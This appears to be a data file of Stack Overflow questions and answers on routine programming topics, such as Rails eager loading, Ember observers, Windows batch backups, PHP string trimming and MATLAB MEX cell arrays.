14866171	0	 <p>How about something like this -</p> <pre><code>$cal = New-Object -Type PsObject -Prop @{ Year = 2013 Events = @() } $event = New-Object -Type PsObject -Prop @{ Date = [DateTime] "2013-02-14" Name = "Valentines Day" } $cal.Events += $event </code></pre> <p>If you have a predefined calendar objects which doesn't have a property to store events you can use <code>Add-Member</code> to attach a new property and store an array in there.</p>
4304264	0	 <p>My guess is PHP is evaluating the above as a string, not hex. And Java is doing it as you expect it.</p>
22943328	0	Rails app crashes when config.eager_load=true <p>I have a Rails application and an Engine. </p> <p>When i have config.eager_load= true in my environments/production.rb the app crashes giving the following error in the engine </p> <pre><code>FATAL: ActionView::Template::Error(undefined local variable or method `current_user' for #&lt;#&lt;Class:0x00000005812fe0&gt;:0x00000005811e88&gt;) /var/www/rack_apps/manager/shared/vendor_bundle/ruby/2.1.0/gems/authorization_engine-0.1.0.SNAPSHOT.20140407182910/app/views/authorization_engine/authorizations/new.html.haml:26:in `__var_www_rack_apps_manager_shared_vendor_bundle_ruby_______gems_authorization_engine_______________________________app_views_authorization_engine_authorizations_new_html_haml__268041456534634533_46121540' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/template.rb:143:in `block in render' vendor/bundle/ruby/2.1.0/gems/activesupport-4.0.4/lib/active_support/notifications.rb:161:in `instrument' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/template.rb:141:in `render' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/template_renderer.rb:49:in `block (2 levels) in render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/abstract_renderer.rb:38:in `block in instrument' vendor/bundle/ruby/2.1.0/gems/activesupport-4.0.4/lib/active_support/notifications.rb:159:in `block in instrument' vendor/bundle/ruby/2.1.0/gems/activesupport-4.0.4/lib/active_support/notifications/instrumenter.rb:20:in `instrument' vendor/bundle/ruby/2.1.0/gems/activesupport-4.0.4/lib/active_support/notifications.rb:159:in `instrument' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/abstract_renderer.rb:38:in `instrument' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/template_renderer.rb:48:in `block in render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/template_renderer.rb:56:in `render_with_layout' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/template_renderer.rb:47:in `render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/template_renderer.rb:17:in `render' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/renderer.rb:42:in `render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_view/renderer/renderer.rb:23:in `render' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/abstract_controller/rendering.rb:127:in `_render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_controller/metal/streaming.rb:219:in `_render_template' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/abstract_controller/rendering.rb:120:in `render_to_body' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_controller/metal/rendering.rb:33:in `render_to_body' vendor/bundle/ruby/2.1.0/gems/actionpack-4.0.4/lib/action_controller/metal/renderers.rb:26:in `render_to_body' </code></pre> <p>But the same above seems to work if i set the config.eager_load = false</p> <p>Is this normal ? ... I know you shouldn't be setting eager_load to false in production. Is there a way not to eager load the engine or have i got the entire concept wrong ?</p> <p>I know it says undefined variable current_user but it picks it up perfectly when i run locally . Any suggestions or ideas would be awesome .Thanks</p>
19926022	0	 <p>You are inserting means adding one row,, but you want to update,, so use <code>UPDATE</code> instead of <code>INSERT</code></p> <pre><code>UPDATE user SET name = 'abc' WHERE id = 1; </code></pre>
11389879	0	Saving Data from iphone app to text file in iPhone app <p>I want to save my application data in text file in documents folder I am using following way to store but it store single string i want that my data is in array how may store all the contents of array in text files</p> <pre><code> NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); NSString *documentsDirectory = [paths objectAtIndex:0]; NSString*yourString=@"This is working fine"; NSString *filePath = [documentsDirectory stringByAppendingPathComponent:@"file.txt"]; NSString *stringWithoutSpaces = [yourString stringByReplacingOccurrencesOfString:@" " withString:@""]; [stringWithoutSpaces writeToFile:filePath atomically:TRUE encoding:NSUTF8StringEncoding error:NULL]; </code></pre> <p>My Array is like Following</p> <pre><code> DataController *coffeeObj = [appDelegate.coffeeArray objectAtIndex:indexPath.row]; cell.resturantLocationLabel.text=coffeeObj.resturantLocation; cell.foodQualityRatingLabel.text=coffeeObj.foodQualityRating; cell.foodPresentationRatingLabel.text=coffeeObj.foodPresentationRating; cell.waiterRatingLabel.text=coffeeObj.waiterRating; cell.ambienceRatingLabel.text=coffeeObj.ambienceRating; cell.overallRatingLabel.text=coffeeObj.overallRating; cell.commentsLabel.text=coffeeObj.comments; cell.emailAddressLabel.text=coffeeObj.emailAddress; cell.addtoMailingListLabel.text=coffeeObj.addtoMailingList; NSString*test=coffeeObj.comments; </code></pre>
12458198	1	merging selenium rc and webdriver <p>I have made most of my automation code using Selenium RC with Python. But, I feel that with the evolution in my product (what I'm testing through selenium RC), my automation needs are changed. I tried Wedriver with python and it works a treat with my product. But, as many features of my new product versions are inherited from the previous versions, I feel that I can make use of my existing Selenium RC code. But, for new features, I want to use Webdriver.</p> <p>Moreover, there are also some things w.r.t the selenium profile that I 'm maintaining. Examples:</p> <ol> <li>For ssl certificates, using selenium RC, I have 2 methods: Selenium profile (where I have saved the acceptance of ssl certificate) and <code>'trustallsslcertificates'</code> parameter while starting selenium rc. Using <code>trustallsslcertificates</code> slows down the automation speed like hell.<br> But, using webdriver, I dont need all such ssl certificates.</li> <li>Using Selenium RC, whenever I need to download a file using my web page, I have used the save option as default and saved it in the same selenium profile. But, using webdriver, I have other options to download a file, rather than maintaining the selenium profile.</li> </ol> <p>I also checked in the existing question: <a href="http://stackoverflow.com/questions/4342088/selenium-web-driver-and-selenium-rc">Selenium Web driver and selenium RC</a>, but, the answer seems to old, many things must have updated by then. </p> <p>Crux of my question is: Can I integrate my existing python code, that I use using selenium RC (Python bindings - selenium.py ), with Webdriver using python ?</p> <p>PS: Currently I am using selenium 2.3.0.jar file</p>
27961615	0	Goals with same conversion rate <p>I have a problem with my Google Analytics goals. I'm using Magento as CMS.</p> <p>These are the funnels:</p> <p>Goal 1:</p> <p>Product page: something /product1 Cart: ^/checkout/cart/$ Customer details: ^/checkout/cart/step2/$ Destination: ^/checkout/onepage/success/</p> <p>Goal 2:</p> <p>Product page: something /product2 Cart: ^/checkout/cart/$ Customer details: ^/checkout/cart/step2/$ Destination: ^/checkout/onepage/success/</p> <p>Both Goals have the same conversion rate. But, I can see in the Ecommerce Product Performance section that products in Goal 1 convert in much higher numbers then products in Goal 2. So the conversion rate should be different.</p> <p>Why are the goals showing the same conversion rate? The CMS is Magento.</p>
24937783	0	 <p>A good usage would be to implement a chunk to translate to-and from-base64 or any unaligned data structure.</p> <pre><code>struct { unsigned int e1:6; unsigned int e2:6; unsigned int e3:6; unsigned int e4:6; } base64enc; //I don't know if declaring a 4-byte array will have the same effect. struct { unsigned char d1; unsigned char d2; unsigned char d3; } base64dec; union base64chunk { struct base64enc enc; struct base64dec dec; }; base64chunk b64c; //you can assign 3 characters to b64c.enc, and get 4 0-63 codes from b64dec instantly. </code></pre> <p>This example is a bit naive, since base64 must also consider null-termination (i.e. a string which has not a length <code>l</code> so that <code>l</code> % 3 is 0). But works as a sample of accessing unaligned data structures.</p> <p>Another example: Using this feature to <strong>break a TCP packet header into its components</strong> (or other network protocol packet header you want to discuss), althought it is a more advanced and less end-user example. In general: this is useful regarding PC internals, SO, drivers, an encoding systems.</p> <p>Another example: analyzing a <code>float</code> number.</p> <pre><code>struct _FP32 { unsigned int sign:1; unsigned int exponent:8; unsigned int mantissa:23; } union FP32_t { _FP32 parts; float number; } </code></pre> <p>(Disclaimer: Don't know the file name / type name where this is applied, but in C this is declared in a header; Don't know how can this be done for 64-bit flaots since the mantissa must have 52bits and -in a 32bit target- ints have 32 bits).</p> <p><strong>Conclusion:</strong> As the concept and these examples show, this is a rarely used feature because it's mostly for internal purposes, and not for day-by-day software.</p>
26206942	0	 <p>Assuming you are having <code>Post-&gt;hasMany-&gt;Like</code> relationship and you have declared likes relationship as:</p> <pre><code>class Post{ public function likes(){ return $this-&gt;hasMany('Like'); } } </code></pre> <p>create a new function say <code>likeCountRelation</code> as:</p> <pre><code>public function likeCountRelation() { $a = $this-&gt;likes(); return $a-&gt;selectRaw($a-&gt;getForeignKey() . ', count(*) as count')-&gt;groupBy($a-&gt;getForeignKey()); } </code></pre> <p>now you can override <code>__get()</code> function as:</p> <pre><code>public function __get($attribute) { if (array_key_exists($attribute, $this-&gt;attributes)) { return $this-&gt;attributes[$attribute]; } switch ($attribute) { case 'likesCount': return $this-&gt;attributes[$attribute] = $this-&gt;likesCountRelation-&gt;first() ? $this-&gt;likesCountRelation-&gt;first()-&gt;count : 0; break; default: return parent::__get($attribute); } } </code></pre> <p>or you can use getattribute function as :</p> <pre><code>public function getLikesCountAttribute(){ return $this-&gt;likesCountRelation-&gt;first() ? $this-&gt;likesCountRelation-&gt;first()-&gt;count : 0; } </code></pre> <p>and simply access likesCount as <code>$post-&gt;likesCount</code> you can even eager load it like:</p> <pre><code>$posts=Post::with('likesCountRelation')-&gt;get(); foreach($post as $post){ $post-&gt;likesCount; } </code></pre> <p><code>NOTE:</code> Same logic can be used for morph many relationships.</p>
39016704	0	Publish live stream using webrtc and wowza <p>I have taken a preview copy for webrtc. On my streaming server I have setup the streamlock and done with configuration in vhost.xml file. I'm unable to publish stream from the html files provided by wowza. </p> <p>I get error: <code>Refused to set unsafe header “Connection”</code>. I have added the hostport for port 443. </p>
11495884	0	carousel like with css, overflow-x (horizontal only) <p>I have an <code>overflow-x:scroll</code> and <code>overflow-y:hidden</code>. I have images, but when I'm trying to make it only scroll horizontally, it doesn't work? When I highlight the images and drag the highlight downwards, its scrolls down vertically.</p> <pre><code>#contents { margin:0 auto; text-align:center; width:1200px; clear:both; } #image_contents { float:left; height: 208px; overflow-x:scroll; overflow-y:hidden; margin:0 auto; } .images { float:left; margin:2px; background:#000; overflow:hidden; position:relative; display:inline-block; } &lt;div id="contents"&gt; &lt;div id="image_contents"&gt; &lt;div class="images"&gt; &lt;img src="1.jpg"/&gt; &lt;/div&gt; &lt;div class="images"&gt; &lt;img src="2.jpg"/&gt; &lt;/div&gt; &lt;div class="images"&gt; &lt;img src="3.jpg"/&gt; &lt;/div&gt; &lt;!-- and so forth !-&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
11022584	0	 <p>Uhm, theoretically, how would you know if it is unicode?</p> <p>This is the real question. Truthfully, you cannot know, but you can make a decent guess.</p> <p>See: <a href="http://stackoverflow.com/questions/499010/java-how-to-determine-the-correct-charset-encoding-of-a-stream">Java : How to determine the correct charset encoding of a stream</a> for more details. :)</p>
24884925	0	Observers and Asynchrony in Ember.js <p>I follewed the guide on <a href="http://www.emberjs.com" rel="nofollow">the ember.js homepage</a> and found that code at <a href="http://emberjs.com/guides/object-model/observers/#toc_observers-and-asynchrony" rel="nofollow">this section</a>:</p> <pre><code>Person.reopen({ lastNameChanged: function() { // The observer depends on lastName and so does fullName. Because observers // are synchronous, when this function is called the value of fullName is // not updated yet so this will log the old value of fullName console.log(this.get('fullName')); }.observes('lastName') }); </code></pre> <p>According to the comments the function <code>lastNameChanged</code> should output an old version of the fullName property. But when I ran my slightly modifed code I got the new version of the property:</p> <pre><code>Person = Ember.Object.extend({ firstName: null, lastName: null, fullName: function() { return this.get('firstName') + ' ' + this.get('lastName'); }.property('firstName', 'lastName'), }); Person.reopen({ lastNameChanged: function() { console.log('lastName changed. Name is now: ' + this.get('fullName')); }.observes('lastName') }) max = Person.create({ firstName: 'Max', lastName: 'Lehmann', }); max.set('lastName', 'Mustermann'); console.log(max.get('fullName')); </code></pre> <p>I know that the guide is based on an older version of Emberjs (I suppose 1.3). I tested the code with the current version of Ember (1.6.1). Does the new version explain the change in that behaviour?</p>
38018805	0	 <p>You should initialize it before using or accessing it's properties. Try this:</p> <pre><code>let mark = TimeMark() let rounded = (mark.rawValue == TimeMark.Current) </code></pre>
18633648	0	 <pre><code>filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3); </code></pre> <p>The rotation property of the BasicImage filter can accept one of four values: 0, 1, 2, or 3 which will rotate the element 0, 90, 180 or 270 degress respectively.</p>
9843132	0	 <p>Yes, if you really want / need to do it you can use PowerMock. This should be considered a last resort. With PowerMock you can cause it to return a mock from the call to the constructor. Then do the verify on the mock. That said, csturtz's is the "right" answer.</p> <p>Here is the link to <a href="http://code.google.com/p/powermock/wiki/MockConstructor" rel="nofollow">Mock construction of new objects</a></p>
34732378	0	Anyway to have programs share Windows Explorer icon overlays? <p>The fact that Windows only allows 15 icon overlays is well worn territory at this point. I understand how to rename the registry entries to get the overlays I absolutely <em>need</em> to be visible. But I wonder if there is a better way. </p> <p>I don't know much about registry editing and I know next to nothing about the inner working of windows and how the overlays actually get requested/delivered. So I'm not sure how these overlays actually work... But the programs I use that have overlays (TortoiseSvn, Box, Google Drive) all do basically the same thing. Generally speaking, they compare the status of a file locally to the status of a file in the cloud or on a server. For this reason it seems like many of these overlays could logically be shared. Why couldn't the BoxSynced, GoogleDriveSynced, and Tortoise1Normal all use the same icon?</p> <p>So my question is: Does anyone know of a way to manipulate the registry to combine some icon overlays? Or is there maybe a some sort of tool or utility out there that can achieve something like a set of "shared overlays"? </p>
37359596	0	 <p>The <code>00010</code> is octal number, i.e., 8. Remove all the leading zeroes.</p>
38056290	0	 <pre><code>function isBusinessDay(theDate){ theDay = theDate.getDay(); // Get day returns 0-6, respectively Sunday - Saturday if(theDay == 0 || theDay == 6){ return false; } else { return true; } } </code></pre> <p>Use with zzzzBov's <code>while (!isBusinessDay(date)) { date.setDate(date.getDate() - 1) }</code></p> <p>A more concise way to write it :</p> <pre><code>function isBusinessDay(theDate){ theDay = theDate.getDay(); // Get day returns 0-6, respectively Sunday - Saturday if(theDay == 0 || theDay == 6) return false; return true; } </code></pre>
25528895	0	 <p>Apart from using a <code>List&lt;object&gt;</code>, it might help to make your interface generic:</p> <pre><code>public interface MyInterface&lt;T&gt; { Dictionary&lt;string, List&lt;T&gt;&gt; FilterLists { get; set; } } </code></pre>
10859098	0	why is php trim is not really remove all whitespace and line breaks? <p>I am grabbing input from a file with the following code</p> <pre><code>$jap= str_replace("\n","",addslashes(strtolower(trim(fgets($fh), " \t\n\r")))); </code></pre> <p>i had also previously tried these while troubleshooting</p> <pre><code>$jap= str_replace("\n","",addslashes(strtolower(trim(fgets($fh))))); $jap= addslashes(strtolower(trim(fgets($fh), " \t\n\r"))); </code></pre> <p>and if I echo $jap it looks fine, so later in the code, without any other alterations to $jap it is inserted into the DB, however i noticed a comparison test that checks if this jap is already in the DB returned false when i can plainly see that a seemingly exact same entry of jap is in the DB. So I copy the jap entry that was inserted right from phpmyadmin or from my site where the jap is displayed and paste into a notepad i notice that it paste like this... (this is an exact paste into the below quotes)</p> <p>" </p> <p>バスにのって、うみへ行きました"</p> <p>and obviously i need, it without that white space and breaks or whatever it is.</p> <p>so as far as I can tell the trim is not doing what it says it will do. or im missing something here. if so what is it?</p> <p>UPDATE: with regards to Jacks answer</p> <p>the preg_replace did not help but here is what i did, i used the bin2hex() to determine that the part that "is not the part i want" is efbbbf i did this by taking $jap into str replace and removing the japanese i am expecting to find, and what is left goes into the bin2hex. and the result was the above "efbbbf"</p> <pre><code>echo bin2hex(str_replace("どちらがあなたの本ですか","",$jap)); </code></pre> <p>output of the above was efbbbf but what is it? can i make a str_replace to remove this somehow?</p>
14561942	0	 <p>You could use sets for that, but a <code>dict</code> can not be added to a set unfortunately. You need to 'cast' the dictionaries to something that a set <em>can</em> handle, e.g. a immutable type such as a sequence of tuples. Combine that with an index to return the referenced <code>dict</code>:</p> <pre><code>def magicFunction(a, b): a = [tuple(sorted(d.items())) for d in a] b = [tuple(sorted(d.items())) for d in b] return [dict(kvs) for kvs in set(a).difference(b)] </code></pre> <p>Result:</p> <pre><code>&gt;&gt;&gt; firstDict = [{'A':1 ,'B':1}, {'A':2 ,'B':2}] &gt;&gt;&gt; secondDict = [{'A':3 ,'B':3}, {'A':2 ,'B':2}] &gt;&gt;&gt; magicFunction(firstDict, secondDict) [{'A': 1, 'B': 1}] &gt;&gt;&gt; magicFunction(secondDict, firstDict) [{'A': 3, 'B': 3}] </code></pre>
27043560	0	My TYPO3 extension's plugin is not visible in the backend <p>I am new to TYPO3 , I started by creating my own extension using Extbase , the extension was successfully created and I could include it into the template of my site , now when I try to include its plugin to a page .. it's not there . I tried many times to delete the cache , and nothing changes ..</p> <p>The extension's folder as well as it's mysql table were created without any problem .. but this story of the plugin made me really unconfortable.</p> <p>Does any one know what could be the issue ? and I would also appreciate it if someone could give me a great tutorial on how to build your own TYPO3 extensions .</p> <p>Thank you so much</p> <p>Ps : I'm using TYPO3 6.2 </p>
10179303	0	Accessing matrices stored inside of cell arrays using MEX files in MATLAB <p>I am currently writing a MEX function that will have to work with a cell array in MATLAB. The MEX file is written in C. </p> <p>Essentially, the input to my function will be a cell array where each entry is a numeric matrix with real values. A simple example is:</p> <pre><code>C = cell(1,2); C{1} = ones(10,10); C{2} = zeros(10,4); </code></pre> <p>I would like to be able to access the numeric arrays C{1} and C{2} in my MEX file. Ideally, I would like to do this without having to create a second copy of the data in my MEX File (i.e. get pointers for them).</p> <p>Using the previous example, my current approach is as follows:</p> <pre><code>/* declare a pointer variable to the incoming cell array after it is passed to the MEX function */ mxArray C_CELL = (mxArray *) mxGetData(prhs[0]) /* declare a 2 x 1 array of pointers to access the cell array in C */ double *myarray[2] // /* point towards the contents of C_CELL */ myarray[0] = mxGetPr(C_CELL[0]) myarray[1] = mxGetPr(C_CELL[1]) </code></pre> <p>Unfortunately this seems to yield "invalid use of undefined type 'struct mxArray_tag'" errors.</p>
24168026	0	Visual Studio C++ Source file accessible despite no #include? <p>I tried searching for similar questions, but I found this difficult to phrase, so I apologize if this is a duplicate.</p> <p>I'm messing around with Visual Studio 2013, writing a pretty simple C++ Console Application. Without going into too much details, I have three files - file1.h, file2.cpp, and main.cpp</p> <ul> <li>file1.h contains the interface for a class</li> <li>file2.cpp includes file1.h and contains the class's member functions </li> <li>main.cpp includes file1.h</li> </ul> <p>So upon executing my program, I was very surprised that main.cpp had access to the functions inside file2.cpp, despite main only including file1.h.</p> <p>I don't think this is the best way to go about organizing the code, but it piqued my curiosity - how is it that I can access functions contained in file2.cpp from main.cpp, despite the fact that only file1.h is included in main.cpp?</p> <p>It would make sense to me if I had file2.cpp included in file1.h, but I don't.</p> <p><strong>I'm just curious how/why this works. Thanks for reading.</strong></p> <p>EDIT: If I've omitted any critical information, I apologize - just let me know and I can clarify.</p>
31836477	0	 <p>The default Haar cascade trainings are:</p> <ul> <li>haarcascade_eye.xml</li> <li>haarcascade_eye_tree_eyeglasses.xml</li> <li>haarcascade_frontalcatface.xml</li> <li>haarcascade_frontalcatface_extended.xml</li> <li>haarcascade_frontalface_alt.xml</li> <li>haarcascade_frontalface_alt_tree.xml</li> <li>haarcascade_frontalface_alt2.xml</li> <li>haarcascade_frontalface_default.xml</li> <li>haarcascade_fullbody.xml</li> <li>haarcascade_lefteye_2splits.xml</li> <li>haarcascade_licence_plate_rus_16stages.xml</li> <li>haarcascade_lowerbody.xml</li> <li>haarcascade_profileface.xml</li> <li>haarcascade_righteye_2splits.xml</li> <li>haarcascade_russian_plate_number.xml</li> <li>haarcascade_smile.xml</li> <li>haarcascade_upperbody.xml</li> </ul> <p>If you need a custom one, you can train your own following <a href="http://docs.opencv.org/master/dc/d88/tutorial_traincascade.html" rel="nofollow">these instructions</a></p>
4930397	0	 <p>Maybe mine is not the best answer, but i just trying to help you here.</p> <p>After doing a flash googling i found this site <a href="http://nixboxdesigns.com/demos/jquery-uploadprogress.php" rel="nofollow">http://nixboxdesigns.com/demos/jquery-uploadprogress.php</a> that look like promising to solve your problem. It can handle multiple upload and of course its do ajax upload too.</p> <p>My tips here is just try the demo <a href="http://nixboxdesigns.com/demos/jquery-uploadprogress-demo.php" rel="nofollow">http://nixboxdesigns.com/demos/jquery-uploadprogress-demo.php</a> first using all of your own browser. If the result is fine then work with this plugin maybe resolve your problem on browser compatibility.</p>
13847220	0	How can I create virtuals for REST API in Mongoose <p>I have a User model. And there is a follower relationship. </p> <p>What I want is, when client requests for followers of the user, I should return the followers, and append if the follower is followed by the current user. </p> <p>What is the good way to do that?</p>
37250670	0	 <p>Here is a commented batch code for this task:</p> <pre><code>@echo off setlocal rem Define source and backup path. set "SourcePath=C:\machines\models" set "BackupPath=E:\backup" rem Get current date in format YYYY-MM-DD independent on local date format. for /F "skip=1 tokens=1 delims=." %%T in ('%SystemRoot%\System32\wbem\wmic.exe OS get localdatetime') do set LocalDateTime=%%T set "YearMonthDay=%LocalDateTime:~0,4%-%LocalDateTime:~4,2%-%LocalDateTime:~6,2% rem For each subfolder in source path check if there is a subfolder "defects". rem If subfolder "defects" exists, copy all files and subfolders of "defects" rem to the appropriate backup directory with current date and subfolder name rem in source folder path. Then remove the subfolder "defects" in source rem folder even if being completely empty to avoid processing this folder rem again when not being recreated again in the meantime. for /D %%# in ("%SourcePath%\*") do ( if exist "%%#\defects\*" ( %SystemRoot%\System32\xcopy.exe "%%#\defects\*" "%BackupPath%\%YearMonthDay%\%%~nx#_defects\" /H /I /K /Q /R /S /Y &gt;nul rd /Q /S "%%#\defects" ) ) endlocal </code></pre> <p>Run once in command prompt window <code>wmic OS get localdatetime</code> to see what this command outputs to understand better how the current date is determined in format <code>YYYY-MM-DD</code>. It would be faster to use <code>%DATE%</code>, but the format of date string of <code>%DATE%</code> depends on the country set in Windows region and language settings and therefore requires knowledge of date string format on computer running this batch file.</p> <p>The command <strong>XCOPY</strong> with the used options does not create the subfolder in backup directory if there is a <code>defects</code> subfolder in a <code>models</code> directory, but in entire <code>defects</code> subfolder tree there is not at least 1 file to copy.</p> <p>Alternate code using environment variable <strong>DATE</strong> with expecting that the expanded date string ends with: <code>MM/DD/YYYY</code>, e.g. <code>Tue 05/17/2016</code>, explained in detail in answer on:<br> <a href="http://stackoverflow.com/a/37236739/3074564">What does %date:~-4,4%%date:~-10,2%%date:~-7,2%_%time:~0,2%%time:~3,2% mean?</a></p> <pre><code>@echo off setlocal rem Define source and backup path. set "SourcePath=C:\machines\models" set "BackupPath=E:\backup" rem Get current date in format YYYY-MM-DD depending on local date format. set "YearMonthDay=%DATE:~-4,4%-%DATE:~-10,2%-%DATE:~-7,2%" rem For each subfolder in source path check if there is a subfolder "defects". rem If subfolder "defects" exists, copy all files and subfolders of "defects" rem to the appropriate backup directory with current date and subfolder name rem in source folder path. Then remove the subfolder "defects" in source rem folder even if being completely empty to avoid processing this folder rem again when not being recreated again in the meantime. for /D %%# in ("%SourcePath%\*") do ( if exist "%%#\defects\*" ( %SystemRoot%\System32\xcopy.exe "%%#\defects\*" "%BackupPath%\%YearMonthDay%\%%~nx#_defects\" /H /I /K /Q /R /S /Y &gt;nul rd /Q /S "%%#\defects" ) ) endlocal </code></pre> <p>For understanding the used commands and how they work, open a command prompt window, execute there the following commands, and read entirely all help pages displayed for each command very carefully.</p> <ul> <li><code>echo /?</code></li> <li><code>endlocal /?</code></li> <li><code>for /?</code> ... explains also <code>%%~nx#</code> (name (and extension) of models subfolder).</li> <li><code>if /?</code></li> <li><code>rd /?</code></li> <li><code>set /?</code></li> <li><code>setlocal /?</code></li> <li><code>wmic.exe OS get /?</code></li> <li><code>xcopy /?</code></li> </ul> <p>See also the Microsoft article about <a href="https://technet.microsoft.com/en-us/library/bb490982.aspx" rel="nofollow">Using command redirection operators</a> to understand the meaning of <code>&gt;nul</code>.</p> <p>Why <code>%%~nx#</code> and not just <code>%%~n#</code> as a folder does not have a <em>file extension</em>?</p> <p>Windows command processor does not determine if a string is a folder or a file name. Everything after last backslash is interpreted as <em>file name</em> independent on being in real the name of a file or a folder. And everything after last dot after last backslash in string is interpreted as <em>file extension</em> even if this means that the folder or file name referenced with <code>%~n</code> is an empty string because the folder/file name starts with a dot and does not contain one more dot like many "hidden" files on *nix systems have, e.g. <code>.htaccess</code>. Therefore <code>%~nx</code> should be always used if entire name of a folder or file is needed on a command line.</p>
19935257	0	 <p>On the link that you gave the joins are explained very good. So the problem is that you have several records from table A (no matter that there are no duplicates) is that to 1 record in A there are 2 records in B (in some cases). To avoid this you can use either <code>DISTINCT</code> clause, either <code>GROUP BY</code> clause.</p>
35542837	0	 <p>You can get the size in bytes of your array using: <code>sizeof(array)</code>.</p>
38695098	0	 <p>You shoud use <a href="https://github.com/romgar/django-dirtyfields" rel="nofollow">django-dirtyfields</a> and send email immediately or add this job_id to RQ. Full docs <a href="http://django-dirtyfields.readthedocs.io/en/develop/" rel="nofollow">here</a></p> <p>Or update <code>updated_at</code> field only when <code>status</code> changes (again django-dirtyfields) by write own save() method like.</p> <pre><code>def save(self): if self.status = 'aproved' and 'status' in self.get_dirty_fields(): # add to RQ # or set updated_at = datetime.now() # if you dont use on_update=datetime.now super(...).save() </code></pre>
39893312	0	 <p>Try marking the <code>@ManyToOne</code> field as lazy: </p> <pre><code>@ManyToOne(fetch = FetchType.LAZY) private Account account; </code></pre> <p>And change your query using a <code>JOIN FETCH</code> of the <code>account</code> field to generate only one query with all you need, like this:</p> <pre><code>String sql = "SELECT new com.test.Pojo(acc, SUM(t.value)) " + "FROM Transaction t JOIN FETCH t.account acc GROUP BY acc"; </code></pre> <p><strong>UPDATE:</strong></p> <p>Sorry, you're right, the fetch attribute of <code>@ManyToOne</code> is not required because in Hibernate that is the default value. The <code>JOIN FETCH</code> isn't working, it's causing a <code>QueryException</code>: "Query specified join fetching, but the owner of the fetched association was not present".</p> <p>I have tried with some other approaches, the most simple one that avoids doing n + 1 queries is to remove the creation of the <code>Pojo</code> object from your query and process the result list, manually creating the objects:</p> <pre><code>String hql = "SELECT acc, SUM(t.value)" + " FROM " + Transaction.class.getName() + " t" + " JOIN t.account acc" + " GROUP BY acc"; Query query = getEntityManager().createQuery(hql); List&lt;Pojo&gt; pojoList = new ArrayList&lt;&gt;(); List&lt;Object[]&gt; list = query.getResultList(); for (Object[] result : list) pojoList.add(new Pojo((Account)result[0], (BigDecimal)result[1])); </code></pre>
1709440	0	 <p>The most efficient way probably is to create a completely random array order and cache that for every user.</p> <p>Except for the MySQL sollution postet above, you may use php in a very similar style: You can use the session id as a start for the random number generator and than shuffle the array using that "random" number. By doing that, every user recieves a differently sorted list, whenever he requests your site (at least as long as the session does not expire).</p> <pre><code>&lt;?php $array = array("Cat", "Dog", "Mouse"); session_start(); $session_id_int = (int)session_id(); srand($session_id_int); echo '&lt;pre&gt;BEFORE:'.PHP_EOL; print_r($array); shuffle($array); echo 'AFTER:'.PHP_EOL; print_r($array); </code></pre>
4689977	0	 <p>Just assuming: did you put a <code>;</code> at the end of the <code>#define</code> ? Remove that, it will be put where you use <code>MAXZOOM</code>. </p> <p>So instead of</p> <pre><code>#define MAXZOOM 2.0f; </code></pre> <p>make it</p> <pre><code>#define MAXZOOM 2.0f </code></pre>
37011075	0	 <blockquote> <pre><code>$bucket-&gt;bootstrap(3); </code></pre> </blockquote> <p><a href="http://bandwidth-throttle.github.io/token-bucket/api/class-bandwidthThrottle.tokenBucket.TokenBucket.html#_bootstrap" rel="nofollow"><code>TokenBucket::bootstrap(3)</code></a> puts three initial tokens into the bucket. Those initial tokens can be consumed instantly. You effectively don't throttle the rate for those first calls.</p> <p>If you don't want that initial burst, you did correctly bootstrap without any tokens.</p> <blockquote> <pre><code>03.05.2016 14:33:34.913 03.05.2016 14:33:35.245 03.05.2016 14:33:35.578 03.05.2016 14:33:35.911 </code></pre> <p>but it is still more than 3 per second.</p> </blockquote> <p>I count 3 per second. Please tolerate this observed variance of ±1ms. In the long run you'll get in average 3 per second.</p> <p>This ±1ms comes probably from <a href="https://github.com/bandwidth-throttle/token-bucket/blob/0.4/classes/BlockingConsumer.php#L56" rel="nofollow">this implementation detail</a> of <code>BlockingConsumer</code>:</p> <pre><code>// sleep at least 1 millisecond. usleep(max(1000, $seconds * 1000000)); </code></pre>
35479689	0	 <p>The values are in double and are shown in exponential form so they are shown as lon = 1.371864733333333e+02, lat=36.694250000000004</p> <p>You could reduce the length of numbers after the decimal point.</p> <p>Assuming you're using java you can use the following code to round off the number to 7 decimal places.</p> <pre><code>double lon = 137.186473333333; double lat = 36.694250000000004; DecimalFormat numberFormat = new DecimalFormat(); numberFormat.setRoundingMode(RoundingMode.CEILING); numberFormat.setMaximumFractionDigits(7); numberFormat.setParseIntegerOnly(true); numberFormat.setGroupingUsed(false); lon = Double.parseDouble(numberFormat.format(lon)); lat = Double.parseDouble(numberFormat.format(lat)); String url = "maps.google.com/?q="+lat+","lon; </code></pre> <p>The value in url will be <a href="http://maps.google.com/?q=36.6942500,137.1864733" rel="nofollow">maps.google.com/?q=36.6942500,137.1864733 </a> </p> <p>Even if you require high precision in location 7 decimal places are more than sufficient. </p>
